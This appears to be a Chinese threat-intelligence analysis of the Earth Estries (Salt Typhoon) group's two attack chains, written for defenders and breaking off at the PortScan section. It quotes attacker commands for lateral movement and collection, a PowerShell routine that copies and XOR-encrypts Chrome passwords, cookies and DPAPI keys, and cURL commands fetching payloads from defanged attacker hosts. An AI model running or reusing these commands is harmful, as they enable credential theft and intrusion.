深度解析Earth Estries在长期网络行动中的持久性TTPs

本文详细分析了Earth Estries组织在长期网络攻击中使用的多种战术、技术和程序,包括漏洞利用、恶意软件部署、横向移动和数据窃取,揭示了其复杂的攻击链和持久性控制手段。

深度解析Earth Estries在长期网络行动中的持久性TTPs

摘要

Earth Estries(又名Salt Typhoon)是一个自2020年起活跃的高级威胁行为者,主要针对政府和科技行业。本文分析了该组织使用的两种不同攻击链,展示了其多样化的战术、技术和工具(TTPs)。两种攻击链均利用了Microsoft Exchange服务器和网络适配器管理工具等漏洞,但具体工具和部署方式有所不同。第一攻击链使用PsExec和WMIC进行横向移动,并通过CAB文件包分发工具如Cobalt Strike、Trillclient、Hemigate和Crowdoor。第二攻击链则使用Zingdoor、Cobalt Strike和SnappyBee等恶意软件,以及PortScan和NinjaCopy等实用工具,通过cURL下载分发。两种攻击链均通过持续更新工具安装来维持持久性,并利用后门进行横向移动和凭证窃取。数据收集和渗透使用Trillclient和cURL等工具,通过代理服务器隐藏流量。

引言

2023年初,我们发布了一篇关于Earth Estries针对政府和科技行业的活动的博客。本报告深入分析了该组织的两种攻击链,揭示了其多样化的TTPs。两种攻击链均利用了Microsoft Exchange服务器和网络适配器管理工具等漏洞,但具体工具和部署方式有所不同。

第一感染链

在第一攻击场景中,Earth Estries利用QConvergeConsole(一种基于Web的QLogic Fibre Channel适配器管理工具)的安装作为入口点,并通过CAB文件包分发Cobalt Strike和Crowdoor后门来维持控制。攻击早期阶段大量使用PSExec,后门本身也用于横向移动。Earth Estries继续使用Trillclient从浏览器缓存中窃取用户凭证,以扩展其在网络中的存在。威胁行为者还表现出对目标环境的深入了解,使用wget从目标的内部基于Web的文档管理系统下载特定文档。

初始访问

遥测数据表明,Earth Estries通过利用面向外部的服务或远程管理实用程序中的漏洞获得初始访问权限。该组织被观察到利用目标服务器中易受攻击或配置错误的QConvergeConsole安装来访问系统。安装的远程应用程序代理(c:\program files\qlogic corporation\nqagent\netqlremote.exe)可以执行网络发现并在目标机器上安装Cobalt Strike。

命令示例:

1
2
3
4
C:\Windows\system32\cmd.exe /C net group "domain admins" /domain
C:\Windows\system32\cmd.exe /C copy C:\users\public\music\go4.cab \\{HostName}\c$\programdata\microsoft\drm
C:\Windows\system32\cmd.exe /C expand -f:* \\{HostName}\c$\programdata\microsoft\drm\go4.cab \\{HostName}\c$\programdata\microsoft\drm
C:\Windows\system32\cmd.exe /C c:\users\public\music\PsExec.exe -accepteula \\172.16.xx.xx "c:\ProgramData\Microsoft\DRM\g2.bat"

在另一实例中,他们利用了与QConvergeConsole捆绑的Apache Tomcat6中的漏洞(c:\program files (x86)\qlogic corporation\qconvergeconsole\tomcat-x64\apache-tomcat-6.0.35\bin\tomcat6.exe)来执行横向移动活动和后期工具操作。

命令示例:

1
2
C:\Windows\system32\cmd.exe /C wmic /node:172.16.xx.xx process call create "cmd.exe /c c:\ProgramData\Microsoft\DRM\182.bat"
C:\Windows\system32\cmd.exe /C C:\Users\Public\Music\rar.exe a -m5 C:\Users\Public\Music\pdf0412.rar C:\Users\Public\Music\temp\*.pdf

后门

Cobalt Strike用作第一阶段后门,执行横向移动并部署第二阶段后门。在之前的操作中,HemiGate用作第二阶段后门以维持对受损机器的访问。然而,Earth Estries在此次攻击中使用了一个新的后门Crowdoor。

Crowdoor 新的Crowdoor变体被观察到与Cobalt Strike安装交互,符合Earth Estries清理和重新安装工具的TTPs。Crowdoor和重新安装的Cobalt Strike实例均通过先前的实例作为CAB文件引入。

图1. Earth Estries使用的第一攻击链

图2. Crowdoor恶意软件的感染链

Crowdoor根据相应参数执行不同操作。表1总结了新Crowdoor变体基于参数的行为。总体行为与旧变体相似,不同之处在于注入的进程(msiexec.exe)和命令ID(如表2所示)。

表1. 参数及其对应操作

参数 操作
无参数 通过注册表Run键或服务设置持久性,并重新启动后门
0 通过注册表Run键或服务设置持久性,并重新启动后门
1 通过注入到msiexec.exe重新启动后门
2 调用后门主函数

表2. 新旧Crowdoor变体比较

旧Crowdoor变体 新Crowdoor变体 功能
0x2347135 0x11736212 初始连接C2
0x2347136 0x11736213 收集计算机名、用户名、OS版本和主机网络或IP信息
0x2347137 0x11736214 远程shell
0x234713B 0x11736218 删除恶意软件文件、持久性并退出
0x2347140 0x1173621D 文件相关操作
0x2347141 0x1173621E 打开/读取文件
0x2347142 0x1173621F 打开/写入文件
0x2347144 0x11736221 收集驱动器信息
0x2347145 0x11736222 搜索文件
0x2347148 0x11736225 创建目录
0x2347149 0x11736226 重命名文件或目录
0x234714A 0x11736227 删除文件或目录
0x234714A 0x11736228 与C&C服务器通信

表3. Crowdoor包

包1 包2 包3 包4
WinStore.exe (主机) K7Sysmon.exe (主机) HxTsk.exe (主机) MsMsRng.exe (主机)
Sqlite3.dll K7Sysmn1.dll d3d8.dll sqlite3.dll
datastate.dll K7Sysmn2.dll HxTsk (加密) msimg32.dll
datast.dll K7Sysmn3.dll datastate.dll
WinStore (加密) K7Sysmon.dll (加密) MsMsRng (加密)

横向移动

Earth Estries使用PSExec横向安装其后门和工具,特别是通过复制包含后门或工具的CAB文件以及执行安装、维持持久性和执行工具的批处理文件。通常,PSExec用于复制包含要横向安装的恶意软件的CAB文件。然而,在某些实例中,WMIC可能被用于实现类似结果。然后复制并执行一组批处理文件以执行恶意软件的提取、安装和执行。大规模收集也可能通过批处理文件执行。在攻击的后期阶段,后门可能直接用于执行横向移动。CAB文件仍用作要安装的工具的容器,批处理文件仍用于所述工具的提取、安装和执行。这有时包括创建批处理文件的持久性机制,作为实际后门的间接持久性机制。

发现、收集和渗透

TrillClient的用户凭证发现 Earth Estries将收集用户凭证以进一步实现其目标。威胁行为者使用TrillClient信息窃取程序执行此例程,主要从浏览器用户配置文件中收集用户凭证。TrillClient启动一个PowerShell脚本,将用户配置文件保存到特定位置:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
foreach($win_user_path in $users_path){
    echo D | xcopy \"C:\Users\$win_user_path\AppData\Roaming\Microsoft\Protect\" \"$copy_dest_path\$win_user_path\Protect\" /E /C /H;
    attrib -a -s -r -h \"$copy_dest_path\$win_user_path\*\" /S /D;
    echo F | xcopy \"C:\Users\$win_user_path\AppData\Local\Google\Chrome\User Data\Local State\" \"$copy_dest_path\$win_user_path\Local State\" /C;
    echo F | xcopy \"C:\Users\$win_user_path\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies\" \"$copy_dest_path\$win_user_path\Default\Network\Cookies\" /C;
    echo F | xcopy \"C:\Users\$win_user_path\AppData\Local\Google\Chrome\User Data\Default\Login Data\" \"$copy_dest_path\$win_user_path\Default\Login Data\" /C;
    $profile_path = Get-ChildItem -Name \"C:\Users\$win_user_path\AppData\Local\Google\Chrome\User Data\\\" -Include *Profile* -ErrorAction SilentlyContinue;
    foreach($chrome_user_path in $profile_path){
        echo F | xcopy \"C:\Users\$win_user_path\AppData\Local\Google\Chrome\User Data\$chrome_user_path\Network\Cookies\" \"$copy_dest_path\$win_user_path\$chrome_user_path\Network\Cookies\" /C;
        echo F | xcopy \"C:\Users\$win_user_path\AppData\Local\Google\Chrome\User Data\$chrome_user_path\Login Data\" \"$copy_dest_path\$win_user_path\$chrome_user_path\Login Data\" /C;
    }
}

数据将从以下文件夹收集:

  • %LOCALAPPDATA%\Google\Chrome\User Data\Local State
  • %LOCALAPPDATA%\Google\Chrome\User Data\<PROFILE>\Login Data
  • %LOCALAPPDATA%\Google\Chrome\User Data\<PROFILE>\Network\Cookies
  • %APPDATA%\Microsoft\Protect\*

收集的数据将临时复制到<%TEMP%\browser_temp_data<RANDOM>>,使用tar命令归档,并使用XOR算法加密:

1
2
3
4
5
6
7
tar -cvf \"$copy_dest_path\tar\" $copy_dest_path;
$e_a = [System.IO.File]::ReadAllBytes(\"$copy_dest_path\tar\");Remove-Item -Path $copy_dest_path -Recurse;
$e_i = 0;foreach($e_c in $e_a){$e_a[$e_i] = (($e_c -bxor ($e_i % 252)) -bxor (0xe6 - ($e_i % 199)));$e_i += 1;
$random_filename = \"300775736611547784207972935122149919289871693\";
$out_put_file = $out_put_path + \"\\\" + $random_filename;
echo $out_put_file;
[System.IO.File]::WriteAllBytes($out_put_file, $e_a);

收集的数据然后通过简单邮件传输协议(SMTP)发送到威胁行为者的Gmail账户。

敏感文档收集 Earth Estries利用RAR收集感兴趣的信息。在此攻击场景中,他们使用wget从内部基于Web的文档管理平台下载目标文档到收集文件夹,然后进行归档。

在此实例中,执行了一个包含命令的批处理文件,将PDF文件下载到收集目录,其中包含硬编码的文档名:

1
c:\users\public\music\temp\wget.exe -c "hxxp://172.16.xx.xx/{document path}/{Hardcoded Filename}.pdf" -P c:\users\public\music\temp

之后,收集的PDF被归档:

1
C:\Windows\system32\cmd.exe /C C:\Users\Public\Music\rar.exe a -m5 C:\Users\Public\Music\pdf0412.rar C:\Users\Public\Music\temp\*.pdf

通过后门收集 Earth Estries使用Crowdoor和Cobalt Strike安装执行收集例程,通过归档来自本地和远程位置的感兴趣信息。一些收集命令示例如下:

表4. 收集命令

示例命令 功能
rar.exe a -m5 <install path>\322.rar \\<remote machine>\c$\<remote path> 从远程机器收集由旧感染代收集的信息
rar.exe a -m5 <install path>\his231.rar "C:\Users\<username>\AppData\Local\Google\Chrome\User Data\Default\History" 收集浏览器历史文件,攻击者感兴趣以获取更多凭证
rar.exe a <install path>\0311.rar C:\users\<user name>\Desktop\* C:\users\<user name>\Downloads\* C:\users\<user name>\Documents\* -r -y -ta<cutoff date> 收集本地用户交互的较新文件和/或文档

遥测数据表明,它们通过与收集命令执行相同的方法进行渗透:要么通过其后门的命令和控制(C&C)通道,要么通过用于控制这些工具的相同初始访问方法。

第二感染链

第二Earth Estries攻击流程的概述如图3所示:

图3. 第二攻击例程的整体流程

在此攻击例程中,初始访问通过利用Microsoft Exchange服务器获得,植入一个Web shell,允许交付Cobalt Strike信标。同时,横向移动由初始后门执行,其他后门如Zingdoor和Snappybee(Deed RAT)被安装到网络中的其他机器上。这些额外后门和工具的分发通过C&C服务器或使用cURL从攻击者控制的服务器下载完成。这些后门安装也定期更换和更新。感兴趣文档的收集通过RAR完成,并使用cURL进行渗透,数据发送到匿名文件共享服务。

初始访问

在跟踪Earth Estries的最新活动时,我们发现该组织利用Microsoft Exchange服务器并安装Web shell ChinaChopper,通过它Earth Estries可以将Cobalt Strike部署到其他Active Directory(AD)服务器或单个端点,并设置计划任务和系统服务以在受害者环境中维持持久性。

Web shell的命令序列如下:

图4. 访问时的Webshell命令

横向移动、持久性和控制

我们确定了Earth Estries用于控制目标机器的四种主要工具:Cobalt Strike、Zingdoor和Snappybee。

Zingdoor是一个用Golang编写的HTTP后门,作为Earth Estries部署的循环后门之一。这主要通过使用Windows Defender的MsSecEs.exe进行DLL侧加载加载。

Snappybee(Deed RAT)是一个模块化后门,据说是ShadowPad的继任者,之前由Postiv Technologies揭示。与Zingdoor类似,Snappybee的主要执行方法是通过DLL侧加载。

Earth Estries还在攻击的各个阶段使用Cobalt Strike。虽然一些Cobalt Strike部署同样使用DLL侧加载,但其他部署使用替代加载方法以增强持久性和防御规避。许多Cobalt Strike安装配置为使用DNS隧道与其C&C服务器通信。

在我们观察到的一次攻击中,Zingdoor被用作第一阶段后门。在攻击例程的后期阶段,我们能够通过先前的安装看到其他后门的连续部署:Zingdoor到Snappybee再到Cobalt Strike(然而,这并不总是部署顺序)。也有实例显示先前的安装被后续的安装清理,例如Cobalt Strike在部署后不久移除Snappybee。

图5. 部署Zingdoor、Snappybee和Cobalt Strike

Earth Estries最常用的持久性机制是通过计划任务。这通过几种方式实现,包括使用WMIC允许远程创建计划任务:

1
wmic /node:<IP> /user:<domain>\<user> /password:***** process call create "schtasks /run /tn microsoft\sihost"

该例程还使用cURL下载额外组件到远程机器。

表5. 通过cURL命令下载工具

工具下载 cURL命令
Snappybee负载 curl -o c:\windows\ime\imejp\VXTR hxxp://96[.]44[.]160[.]181/VXTR.txt
Zingdoor curl -k -o C:\programdata\UNBCL.dll hxxp://mail.ocac.org[.]pk/UNBCL.docx
Portscan curl -k -o C:\programdata\portscan.exe hxxp://mail.ocac.org[.]pk/Portscan.docx

通过PortScan进行网络发现

网络发现和映射由后门直接通过命令行执行完成。偶尔,Portscan

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计